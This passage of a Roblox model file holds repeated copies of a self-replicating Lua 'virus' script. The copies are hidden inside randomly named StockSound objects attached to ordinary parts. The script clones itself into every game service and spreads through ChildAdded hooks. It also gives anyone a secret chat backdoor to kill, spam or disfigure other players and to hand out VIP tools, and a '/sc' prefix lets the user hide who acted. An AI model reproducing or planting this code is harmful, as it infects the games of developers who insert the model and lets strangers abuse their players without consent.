sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX112">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5mo8spv</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX113">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">dfhdlqwl</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX114">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>11.2531748</X>
							<Y>3.29895926</Y>
							<Z>-9.95955944</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX115">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1d8n6si</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX116">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">rlo14</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
